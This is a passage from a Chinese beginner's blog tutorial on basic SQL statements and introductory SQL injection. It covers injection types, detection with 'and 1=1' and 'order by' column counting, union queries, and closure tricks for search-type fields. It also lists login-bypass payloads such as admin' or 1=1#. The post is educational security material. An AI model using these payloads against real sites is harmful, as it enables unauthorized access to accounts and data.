小白的sql入门过程

主要是看隔壁levixxxx写那么高深的东西,再看看自己的有感觉点low,还不通俗易懂,所以决定。。。

First of all,了解增删改查

库.表应该不用的解释吧。

1.insert into 库.表(列1,列2…) values(值1,值2)

insert into 1.news values(3,’test’,’test’,3)

—— 字符串记得要用单引号,值则不用

2.select 列1,列2 from 库.表(列1,列2…) —— (“ * ”代表全部列)

  • limit —— 语法:limit(起始下标,条数)一般跟在语句末尾
  • select * from 库.表 —— 查询全部
  • select id,title from 库.表 —— 查询“ id ”和“ title "列

3.delete from 库.表 where id=3 —— 删除" id=3 "的那列

4.update 库.表 set 列1=值,列2=值 条件

type=’2’ where id=2 —— 把“ id=2 ”的“ type ”改为2

最基本的查询

select * from 1.news where username='admin' and password='test'

select * from 1.news where username=' ' or ' '=' ' and password='test'

select * from 1.news where username= ' ' or  1=1#' and password='test' 

——“–和#为注释符,注释掉后面的内容”

  • 只要逻辑通过就行,要注意括号闭合,单引号闭合,要注意跟-提供的源码-中的也要闭合
  • 万能密码 a’ or ‘a’='a
  • union的作用(后面还会提到,用法比较巧妙多变): 粘合数据,将本来无法得到的数据粘合在可以得到的数据后面
  • order by(后面也会提到): 判断列用的

SQL注入初级

什么是sql注入:

用户提交的参数中包含一些带有sql攻击的字符带入了数据库查询,从而改变语义得到一些想要的数据

  • 任何地方都可能出现sql注入,如 referer,cookie,body, URL等
    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qqDWDcKd-1585889714798)(/常见注入工具.png)]
    常见的注入工具
    过程
sql注入有哪些类型(按照注入取数据的方式不一样来分类):

1.盲注:按照逻辑上的真假来判断

  • 原理:通过ascii码,不支持中文,通过substr函数截取字符转换成ascii码比较大小,二分法判断大小,再将ascii码转换成数据,中文用hex函数(MySQL):将中文转换成16进制,然后再转换

2.union注入:通过union直接查询显示到页面中,例如:

union select username from admin

3.错误显示注入:利用数据库的错误消息进行注入,加一个” ‘ “会显示错误信息,观察错误信息或者错误信息的类——(需要注入者有极高的水平,反正我不行…)

4.延时注入:通过sleep函数判断页面响应时间

sql注入能干什么:

1.获取(增删改查)数据库文件

2.读写文件

3.执行操作系统命令

如何判断是否存在准入:

数字型,字符型,搜索型

一个很重要的表,必须要记住:information_schema.tables

exists函数判断一个表是否存在:

existsselect 1 form information_schema.tables
1.数字型:
  • true and false为假 ,true or false为真

    sql=select * from news where id=1 and 1=1sql=select * from news where id=1 order by 1
  • 用order by 判断有多少列(by 几就是第几列,如果显示就是存在,不显示就是不存在这一列,从而判断,用法如上)再用union,有的程序员本身就会写上order by,就会出现xxxxxx order by order by xxxx的情况,就会显示语法错误等等问题,所以一切以实际为准。

  • 有的表查询只显示第一个数据,所以要把前面的否定: 如?id=1 and 1=2

  • union的一些用法如下图
    判断显示位
    判断出显示位后查询版本
    查询表名
    粘合账号密码查询所有账号密码

2.字符型:
sql=select * from news where type=‘ xxx ’ “

sql=select * from news where type=1and1=1’ ”

除了需要构造前后语法,其他跟数字型都一样。(可以用#注释掉多余的 ’ )
字符型
判断数字型还是字符型的方法:先按照数字型构造

伪静态注入:

报错不是404而是 500,报的sql的错误信息
判断为静态注入
方法1.注入位置是在1.html的1后,同样的道理,判断数字型还是字符型,用超级sql注入工具标记注入

方法2.比如说原来是asd111.html,这时候可以尝试构造asd.php?id=111或asd.asp?id=111等

方法3.去掉.html看是否正常

3.搜索型:
  • 必须要选一个有数据的关键词,否则不管怎么构造都不会出现结果
select * from news where title like%xxxx%

——标题中间出现这个字符,模糊查询

select * from news where title like ‘ xxxx%

——以xxx开头,以任意字符结尾

select * from news where title like%xxxx ’

——任意字符开头,xxx结尾
闭合构造
通过本身的语法去闭合,因为%%中间是空字符,所以所有的都会显示。
例子
因为是post提交,所以直接#注释就可以,如果是get,要进行url编码,#转化成%23。

万能密码:
select * from 1.news where username='admin'or 1=1# and password=''

学会之前的再看这个就很简单了,自己看情况构造就可以了,通常是知道admin不知道密码。

  • admin’ or ‘a’='a

  • admin’ or 1=1#(mysql)

  • admin’ or 1=1- -(sqlserver)

  • admin’ or 1=1;- -(sqlserver) " ; "表示多语句
    语句关联
    or前面是一个条件,后面是一个条件,所以账号密码都不知道也可以。

  • 一般使用超级SQL注入工具,修改请求数据包,配合抓包使用。

or 1=1#(mysql)
admin' or 1=1--(sqlserver)
admin' or 1=1;--(sqlserver) #  " ; "表示多语句

or前面是一个条件,后面是一个条件,所以账号密码都不知道也可以。

  • 一般使用超级SQL注入工具,修改请求数据包,配合抓包使用。
  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值